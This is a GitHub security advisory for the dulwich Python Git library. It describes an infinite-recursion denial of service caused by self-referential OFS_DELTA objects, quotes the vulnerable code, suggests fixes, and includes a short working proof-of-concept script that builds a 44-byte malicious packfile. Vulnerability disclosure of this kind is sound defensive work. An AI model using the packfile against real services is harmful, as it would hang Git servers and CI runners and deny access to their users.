GHSA-35mr-4567-66vg: Dulwich Denial of Service Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-35mr-4567-66vg",
  "modified" : "2026-10-02T18:54:39Z",
  "published" : "2026-10-02T18:54:39Z",
  "aliases" : [ ],
  "summary" : "Dulwich: Infinite Loop Denial of Service (DoS) in Packfile Object Resolution",
  "details" : "### Affected file\n* `dulwich/pack.py` (Method: `Pack.resolve_object`)\n\n### Description / Summary\nA High-severity Denial of Service (DoS) vulnerability exists in the `Pack.resolve_object` method. When resolving an `OFS_DELTA` object, the resolver calculates the base offset using `base_offset = obj_offset - delta_offset`.\n\nIf a malicious packfile contains an `OFS_DELTA` object where `delta_offset` is `0`, the calculation `obj_offset - 0` resolves back to the current object's own offset. Because the implementation lacks a depth counter, a \"visited\" set, or an explicit rejection of `delta_offset == 0`, the resolver enters an infinite recursive loop, exhausting CPU resources and eventually crashing the process.\n\n**Vulnerable Code Breakdown (`dulwich/pack.py`):**\n```python\nelif obj_type == OFS_DELTA:\n    delta_offset = parse_pack_object_offset_at(...)\n    base_offset = obj_offset - delta_offset          # VULNERABILITY: Self-reference if delta_offset == 0\n    base_type, base_data = self.resolve_object(...)  # VULNERABILITY: Infinite recursion\n```\n\n### Potential impact\n\nAn attacker can trigger this infinite loop via any operation that walks packfiles (e.g., `dulwich clone`, `fetch`, `cat-file`, or internal `Pack.__getitem__` lookups). \n\n1. **CPU Exhaustion:** The process will spin at 100% CPU indefinitely.\n2. **Denial of Service:** Any service using `dulwich` (web interfaces, CI/CD runners) will hang or crash, preventing legitimate repository access.\n3. **Protocol Incompatibility:** This behavior violates the Git packfile specification. The standard `git` C client explicitly guards against this: `if (!base_offset) die(\"delta offset == 0 is invalid\");`.\n\n### POC (Proof of Concept)\nThe following Python script generates a 44-byte packfile that triggers the loop:\n\n```python\nfrom dulwich.pack import Pack\nimport struct, zlib, tempfile, os\n\n# Build a single OFS_DELTA entry whose delta_offset is 0\ntype_ofs_delta = 6\nheader = bytes([(type_ofs_delta << 4) | 0])\nofs_bytes = bytes([0x00]) # delta_offset = 0\nbody = zlib.compress(b'')\nraw = header + ofs_bytes + body\n\npack = b'PACK' + struct.pack('>I', 2) + struct.pack('>I', 1) + raw + (b'\\x00' * 20)\n\nfd, path = tempfile.mkstemp(suffix='.pack')\nos.write(fd, pack); os.close(fd)\n\n# Trigger: This call never returns and spins at 100% CPU\np = Pack(path)\nobj = p[list(p.iterobjects())[0]]\n```\n\n### Possible solution\n1. **Explicit Guard:** Add a check in `Pack.resolve_object` to reject `delta_offset == 0`:\n   ```python\n   if delta_offset == 0:\n       raise CorruptPacksFile(\"OFS_DELTA has self-referential delta_offset=0\")\n   ```\n2. **Recursion Depth:** Implement a depth limit (e.g., `MAX_DELTA_DEPTH = 50`) to prevent long, non-looping chains of deltas (OFS or REF).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "dulwich"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.2.9"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/jelmer/dulwich/security/advisories/GHSA-35mr-4567-66vg"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/jelmer/dulwich/commit/d06ffc3e1aff0ea0a32094debead891be0083eb7"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/jelmer/dulwich"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/jelmer/dulwich/releases/tag/dulwich-1.2.9"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-835" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-02T18:54:39Z",
    "nvd_published_at" : null
  }
}